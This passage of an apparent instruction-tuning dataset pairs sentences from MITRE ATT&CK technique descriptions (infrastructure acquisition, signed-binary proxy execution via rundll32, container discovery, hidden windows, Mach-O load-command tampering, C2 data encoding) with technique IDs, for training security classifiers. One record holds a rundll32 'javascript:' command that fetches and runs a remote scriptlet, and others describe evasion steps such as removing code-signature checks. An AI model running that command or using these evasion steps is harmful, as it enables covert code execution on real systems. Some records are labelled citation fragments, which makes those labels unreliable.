further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. ### Response: T1583.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse rundll32.exe to proxy execution of malicious code.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse rundll32.exe to proxy execution of malicious code. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Double-clicking a .cpl file also causes rundll32.exe to execute.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Double-clicking a .cpl file also causes rundll32.exe to execute. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code> ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior has been seen used by malware such as Poweliks.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior has been seen used by malware such as Poweliks. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: This is Security Command Line Confusion)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: This is Security Command Line Confusion) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code> ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "rundll32.exe", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "file.dll,#1</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: file.dll,#1</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation:", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "rundll32.exe defense evasion)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe defense evasion) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover containers and other resources that are available within a containers environment.", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover containers and other resources that are available within a containers environment. ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation:", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Docker API)(Citation: Kubernetes API)", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Docker API)(Citation: Kubernetes API) ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing.", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.", "output": "T1613", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ### Response: T1613."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting.", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "output": "T1583.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) ### Response: T1583.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, windows that would typically be displayed when an application carries out an operation can be hidden.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this is <code>powershell.exe -WindowStyle", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this is <code>powershell.exe -WindowStyle ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hidden</code>.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hidden</code>. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One of the tags in these files can be\u00a0<code>apple.awt.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One of the tags in these files can be\u00a0<code>apple.awt. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)", "output": "T1143", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware) ### Response: T1143."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded.", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time.", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX).", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available to perform these changes.", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available to perform these changes. ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any changes will invalidate digital signatures on binaries because the binary is being modified.", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any changes will invalidate digital signatures on binaries because the binary is being modified. ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).", "output": "T1161", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X). ### Response: T1161."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data to make the content of command and control traffic more difficult to detect.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data to make the content of command and control traffic more difficult to detect. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a standard data encoding system.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a standard data encoding system. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some data encoding systems may also result in data compression, such as gzip.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some data encoding systems may also result in data compression, such as gzip. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, 